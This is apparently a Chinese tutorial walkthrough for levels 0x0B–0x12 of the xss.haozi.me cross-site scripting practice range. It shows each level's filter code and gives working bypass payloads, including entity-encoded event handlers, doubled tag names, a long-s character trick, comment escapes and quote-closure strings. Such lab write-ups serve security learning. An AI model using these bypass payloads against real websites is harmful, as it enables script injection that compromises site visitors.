xss.haozi.me靶场“0x0B-0x12”通关教程

君衍.

  • 一、0x0B 实体编码绕过
  • 二、0x0C script绕过
  • 三、0x0D 注释绕过
  • 四、0X0E ſ符号绕过
  • 五、0x0F 编码解码
  • 六、0x10 直接执行
  • 七、0x11 闭合绕过
  • 八、0x12 闭合绕过

一、0x0B 实体编码绕过

我们首先构造payload进行测试:
在这里插入图片描述
这里我们可以看到全部转为了大写,查看源码:

function render (input) {input = input.toUpperCase()return `<h1>${input}</h1>`
}

函数内部首先调用了 toUpperCase 方法,将 input 中的所有字符转换为大写形式。然后,使用字符串模板(template literal)构建了一个包含在 <h1> 标签中的字符串,其中 ${input} 被替换为转换为大写的 input。最终,函数返回类似于 <h1>转换为大写的输入字符串</h1> 的字符串。
这里我们需要知道,HTML不去区分大小写,但是JS区分大小写,也就是对大小写敏感,所以我们这里需要进行实体编码来进行绕过:

</h1><img src="" onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

在这里插入图片描述
当然我们也有别的payload可以完成触发:

</h1><svg><script>&#x61;&#x6c;&#x65;&#x72;&#x74;(1)</script>

在这里插入图片描述
同时我们也可以使用官方提供的JS,因为域名对大小写不敏感:

<script src=https://www.segmentfault.com.haozi.me/j.js></script>

在这里插入图片描述

二、0x0C script绕过

同样的,我们使用常用的payload进行测试:
在这里插入图片描述
可以看到这里依旧是进行了过滤,所以我们查看源码:

function render (input) {input = input.replace(/script/ig, '')input = input.toUpperCase()return '<h1>' + input + '</h1>'
}

函数内部首先使用正则表达式 replace 方法将输入字符串中所有的 "script" 字符串(不区分大小写)替换为空字符串,从而将所有的 "script" 字符串都移除。然后,使用 toUpperCase 方法将剩余的字符串转换为大写形式。最后,使用字符串拼接方式构建了一个包含在 <h1> 标签中的字符串,其中 input 变量被替换为移除了 "script" 字符串并转换为大写形式的字符串。
就是将输入字符串中所有的 “script” 字符串移除,并将剩余的字符串转换为大写形式,然后嵌入到一个 <h1> 标签中,返回最终的 HTML 字符串。
这里我们由源码得知将script进行了置空,置空这个我们就可以使用双写进行尝试绕过了:
(使用<scripscriptt>alert(1)</scripscriptt>进行测试)在这里插入图片描述

<scripscriptt src="https://www.segmentfault.com.haozi.me/j.js"></scripscriptt>

在这里插入图片描述
当然我们也可以不适用script:

</h1><img src="" onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

在这里插入图片描述

三、0x0D 注释绕过

我们依旧使用最常用的payload进行测试观察回显:

<script>alert(1)</script>

在这里插入图片描述
我们可以看到这里将其注释掉了,查看源码:

function render (input) {input = input.replace(/[</"']/g, '')return `<script>// alert('${input}')</script>`
}

函数内部使用了正则表达式 input.replace(/[</"']/g, ''),该正则表达式匹配所有 <, /, ", ' 字符,并将它们替换为空字符串。然后,函数返回一个包含了注释和 <script> 标签的多行字符串。
所以我们需要逃逸掉注释,这里使用回车来破坏注释结构,然后再使用–>来注释掉后面的内容从而完成触发:


alert(1)
-->

在这里插入图片描述

四、0X0E ſ符号绕过

首先我们依旧使用常用的payload来测试观察回显:

<script>alert(1)</script>

在这里插入图片描述
这里我们可以看到依旧是进行了过滤,所以我们查看源码:

function render (input) {input = input.replace(/<([a-zA-Z])/g, '<_$1')input = input.toUpperCase()return '<h1>' + input + '</h1>'
}

函数内部首先使用正则表达式 /<([a-zA-Z])/g 进行匹配,该正则表达式匹配以 < 开头的标签名,然后将标签名的第一个字母用下划线代替,即 <_$1,其中 $1 表示正则表达式中的第一个捕获组,即匹配到的标签名的第一个字母。接着,使用 toUpperCase 方法将整个字符串转换为大写形式。最后,使用字符串拼接方式构建了一个包含在 <h1> 标签中的字符串,其中 input 变量被替换为转换为大写形式并进行标签名替换的字符串。
这里我,我们就涉及一种XSS特殊的绕过技巧,使用ſ符号来代替s,从而达到绕过的效果。

<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

在这里插入图片描述

五、0x0F 编码解码

这里我们依旧使用常用的payload进行绕过:

<script>alert(1)<script>

在这里插入图片描述
可以看到这里将我们输入的内容放入了img标签中同时进行了编码。所以我们查看源码:

function render (input) {function escapeHtml(s) {return s.replace(/&/g, '&amp;').replace(/'/g, '&#39;').replace(/"/g, '&quot;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/\//g, '&#x2f;')}return `<img src οnerrοr="console.error('${escapeHtml(input)}')">`
}

首先我们定义了一个函数render,用于接收input函数,包含了<img>标签的字符串,同时设置了一个onerror事件,函数内部也定义了一个内部函数escapehtml,用来转义输入的字符串中的特殊字符,使用了replace函数来替换字符中特殊的字符:

  • .replace(/&/g, '&amp;'):将 & 替换为 &amp;,以防止 HTML 实体引用问题。
  • .replace(/'/g, '&#39;'):将 ’ 替换为 &#39;,以防止单引号在 HTML 属性中引起问题。
  • .replace(/"/g, '&quot;'):将 " 替换为 &quot;,以防止双引号在 HTML 属性中引起问题。
  • .replace(/</g, '&lt;'):将 < 替换为 &lt;,以防止小于号在 HTML 中引起问题。
  • .replace(/>/g, '&gt;'):将 > 替换为 &gt;,以防止大于号在 HTML 中引起问题。
  • .replace(/\//g, '&#x2f;'):将 / 替换为 &#x2f;,以防止斜杠在 HTML 中引起问题。
    1
    最后,函数返回一个字符串模板,其中包含一个 <img> 标签,设置了一个 onerror事件处理程序,当图像加载失败时,将调用 console.error 输出转义后的输入字符串作为错误消息到控制台。
    但是这里忽略了一点,由于编码后再HTML标签当中,所以当解析代码时候,被过滤的编码字符依旧会被还原再执行,所以过滤的字符其实可以用,我们直接先完成闭合,再注释掉后面内容即可:
'); alert(1); //

在这里插入图片描述
当然,我们也可以利用后面的内容完成闭合。

'); alert('1

在这里插入图片描述

六、0x10 直接执行

本关没有做什么过滤,所以我们随便给window.date一个值完成注入:

alert(1)

在这里插入图片描述
源码如下:

function render (input) {return `
<script>window.data = ${input}
</script>`
}

七、0x11 闭合绕过

我们直接查看源码:

// from alf.nu
function render (s) {function escapeJs (s) {return String(s).replace(/\\/g, '\\\\').replace(/'/g, '\\\'').replace(/"/g, '\\"').replace(/`/g, '\\`').replace(/</g, '\\74').replace(/>/g, '\\76').replace(/\//g, '\\/').replace(/\n/g, '\\n').replace(/\r/g, '\\r').replace(/\t/g, '\\t').replace(/\f/g, '\\f').replace(/\v/g, '\\v')// .replace(/\b/g, '\\b').replace(/\0/g, '\\0')}s = escapeJs(s)return `
<script>var url = 'javascript:console.log("${s}")'var a = document.createElement('a')a.href = urldocument.body.appendChild(a)a.click()
</script>
`
}

定义了一个名为 renderJavaScript 函数,该函数接受一个参数 s。还定义了一个内部函数 escapeJs,用于对输入的字符串进行 JavaScript 转义。
我们可见本关过滤了许多字符,所以我们如果要进行注入,需要先将前面函数闭合逃逸掉,我们可以,以及;将代码分隔开,再把后面注释掉即可绕过。
同时//虽然被转义成了//, 但转义之后还是//, 在js中还是注释符:

");alert(1);//

在这里插入图片描述

");alert("1

在这里插入图片描述

八、0x12 闭合绕过

我们依旧是先查看源码:

// from alf.nu
function escape (s) {s = s.replace(/"/g, '\\"')return '<script>console.log("' + s + '");</script>'
}

函数内部首先使用正则表达式 s.replace(/"/g, '\\"') 将输入字符串中的双引号 " 替换为 ",以便在 JavaScript 字符串中正确转义双引号。然后,将转义后的字符串插入到一个包含在 <script> 标签中的 JavaScript 代码中,该 JavaScript 代码使用 console.log 将转义后的字符串输出到控制台。最终,函数返回一个包含 <script> 标签的字符串,其中包含了一段 JavaScript 代码,用于输出转义后的字符串到控制台。
可以看到本关本质其实和上一关一样,就是将"替换为,防止闭合前面函数。但是我们可以通过先输入\符号将\进行转义了,这样双引号就能成功闭合了。

\");alert(1);//

在这里插入图片描述

</script><script>alert(1)</script><script>

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/740843.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2024年3月份实时获取地图边界数据方法,省市区县街道多级联动【附实时geoJson数据下载】

首先&#xff0c;来看下效果图 在线体验地址&#xff1a;https://geojson.hxkj.vip&#xff0c;并提供实时geoJson数据文件下载 可下载的数据包含省级geojson行政边界数据、市级geojson行政边界数据、区/县级geojson行政边界数据、省市区县街道行政编码四级联动数据&#xff0…

一台GTX1080显卡的怪兽,我可不能错过这个机会!

标题&#xff1a;我花了30块钱买了一台电脑主机。 这个配置能赚钱吗&#xff1f; 1. 收购惊喜 那是一个阳光明媚的下午&#xff0c;我在水管修理店里闲逛。 突然&#xff0c;一位老顾客手里拿着一台旧电脑主机匆匆走了进来。 他说&#xff1a;“小王&#xff0c;你能帮我看看…

【算法训练营】周测3

清华大学驭风计划课程链接 学堂在线 - 精品在线课程学习平台 (xuetangx.com) 如果需要答案代码可以私聊博主 有任何疑问或者问题&#xff0c;也欢迎私信博主&#xff0c;大家可以相互讨论交流哟~~ 考题11-3 题目描述 输入格式 输出格式 输出到标准输出。 若可以通关&…

STM32的GPIO初始化配置-学习笔记

简介&#xff1a; 由于刚开始没有学懂GPIO的配置原理&#xff0c;导致后面学习其它外设的时候总是产生阻碍&#xff0c;因为其它外设要使用前&#xff0c;大部分都要配置GPIO的初始化&#xff0c;因此这几天重新学习了一遍GPIO的配置&#xff0c;记录如下。 首先我们要知道芯片…

力扣701. 二叉搜索树中的插入操作

思路&#xff1a;往二叉搜索树中插入一个值&#xff0c;树的结构有多种符合的情况&#xff0c;那我们可以选一种最容易的插入方式&#xff0c;反正只需要插入一个值而已&#xff0c;我们不难发现&#xff0c;不管插入什么值&#xff0c;都可以安排插入到叶子节点上。 再利用二叉…

传统SessionID,Cookie方式与SringSecurity+JWT验证方式

在Spring Boot框架中&#xff0c;可以使用Spring Session来处理会话管理。Spring Session允许开发者在不同的存储后端&#xff08;如Redis、数据库等&#xff09;之间共享和管理会话状态。通过Spring Session&#xff0c;开发者可以轻松地实现会话管理、会话失效以及跨多个节点…

Redux Toolkit

本文作者为 360 奇舞团前端开发工程师 阅读本文章前&#xff0c;需要先了解下 redux 的基本概念与用法&#xff0c;Redux Toolkit 是建立在 Redux 基础之上的工具包&#xff0c;因此需要对 Redux 的基本概念有一定的了解&#xff0c;包括 Action、Reducer、Store、Middleware 等…

【C语言】如何规避野指针

✨✨ 欢迎大家来到莉莉的博文✨✨ &#x1f388;&#x1f388;养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; 目录 一、概念&#xff1a; 二、野指针成因&#xff1a; 2.1. 指针未初始化 2.2 指针越界访问 3. 指针指向的空间释放 三、如何规避野指针 3.…

专题二 - 滑动窗口 - leetcode 904. 水果成篮 | 中等难度

leetcode 904. 水果成篮 leetcode 904. 水果成篮 | 中等难度1. 题目详情1. 原题链接2. 基础框架 2. 解题思路1. 题目分析2. 算法原理3. 时间复杂度 3. 代码实现4. 知识与收获 leetcode 904. 水果成篮 | 中等难度 1. 题目详情 你正在探访一家农场&#xff0c;农场从左到右种植…

OpenResty使用Lua大全(一)Lua语法入门实战

文章目录 系列文章索引一、OpenResty使用Lua入门1、hello world2、nginx内部变量 二、Lua入门1、简介1、hello world2、基本语法&#xff08;1&#xff09;注释&#xff08;2&#xff09;数据类型&#xff08;3&#xff09;变量&#xff08;4&#xff09;函数&#xff08;5&…

c++基础语法

文章目录 前言命名空间命名空间的使用 缺省参数缺省参数的使用 函数重载函数重载的作用函数重载的使用函数重载原理 引用引用的使用引用的使用场景引用和指针 extern Cinlineauto范围fornullptr 前言 大家好我是jiantaoyab&#xff0c;这篇文章给大家带来的是c语言没有的一些特…

【进阶五】Python实现SDVRP(需求拆分)常见求解算法——遗传算法(GA)

基于python语言&#xff0c;采用经典遗传算法&#xff08;GA&#xff09;对 需求拆分车辆路径规划问题&#xff08;SDVRP&#xff09; 进行求解。 目录 往期优质资源1. 适用场景2. 代码调整3. 求解结果4. 代码片段参考 往期优质资源 经过一年多的创作&#xff0c;目前已经成熟的…

Android 配置打包签名信息的两种方法

目录结构如下&#xff1a; 有2种方式&#xff1a; 第一种&#xff0c;直接配置&#xff1a; signingConfigs { debug { storeFile file("app/keystore.properties") storePassword "111111" keyAlias "key" keyPassword "111111" } …

2022-6 青少年软件编程(图形化) 等级考试试卷(一级)

第1题:【 单选题】 广场中有声控喷泉, 当声音的音量大于 60 的时候, 喷泉就会喷出水, 现在的音量为30,下列哪个选项可以让喷泉喷出水? ( ) A: B: C: D: 【正确答案】: B 【试题解析】 : 当前声音的音量为 30, 需要将声音增加到 60 以上就可以让喷泉喷出水, …

基于YOLOv8/YOLOv7/YOLOv6/YOLOv5的日常场景下的人脸检测系统(深度学习模型+PySide6界面+训练数据集+Python代码)

摘要&#xff1a;开发用于日常环境中的人脸识别系统对增强安全监测和提供定制化服务极为关键。本篇文章详细描述了运用深度学习技术开发人脸识别系统的全过程&#xff0c;并附上了完整的代码。该系统搭建在强大的YOLOv8算法之上&#xff0c;并通过与YOLOv7、YOLOv6、YOLOv5的性…

HTML5:七天学会基础动画网页12

“书接上回”继续对transition补充&#xff0c;在检查中找到ease后&#xff0c;鼠标放到ease前的紫色小方块就可以对运动曲线进行调整&#xff0c;这个曲线叫贝塞尔曲线&#xff0c;这里不做别的补充&#xff0c;不用了解&#xff0c;我们只要知道这个运动方式不只是有简单的匀…

.Net Core 中间件验签

文章目录 为什么是用中间件而不是筛选器&#xff1f;代码实现技术要点context.Request.EnableBuffering()指针问题 小结 为什么是用中间件而不是筛选器&#xff1f; 为什么要用中间件验签&#xff0c;而不是筛选器去验签? 1、根据上图我们可以看到&#xff0c;中间件在筛选器之…

MySQL--彻底解决Navicat备份时的报错

原文网址&#xff1a;MySQL--彻底解决Navicat备份时的报错_IT利刃出鞘的博客-CSDN博客 简介 本文介绍彻底解决Navicat备份时的报错。 正确的方法 见&#xff1a;MySQL命令--使用mysqldump导出导入数据库_IT利刃出鞘的博客-CSDN博客 错误的方法 方法1.转储SQL文件 这种方…

2.2 塑性力学——主应力、主方向、不变量

个人专栏—塑性力学 1.1 塑性力学基本概念 塑性力学基本概念 1.2 弹塑性材料的三杆桁架分析 弹塑性材料的三杆桁架分析 1.3 加载路径对桁架的影响 加载路径对桁架的影响 2.1 塑性力学——应力分析基本概念 应力分析基本概念 2.2 塑性力学——主应力、主方向、不变量 主应力、主…

【嵌入式——QT】标准对话框

【嵌入式——QT】标准对话框 文件对话框颜色对话框字体对话框输入对话框消息框代码示例 文件对话框 QFileDialog 常用静态函数 getOpenFileName&#xff1a;选择打开一个文件&#xff1b;getOpenFileNames&#xff1a;选择打开多个文件&#xff1b;getSaveFileName&#xff1…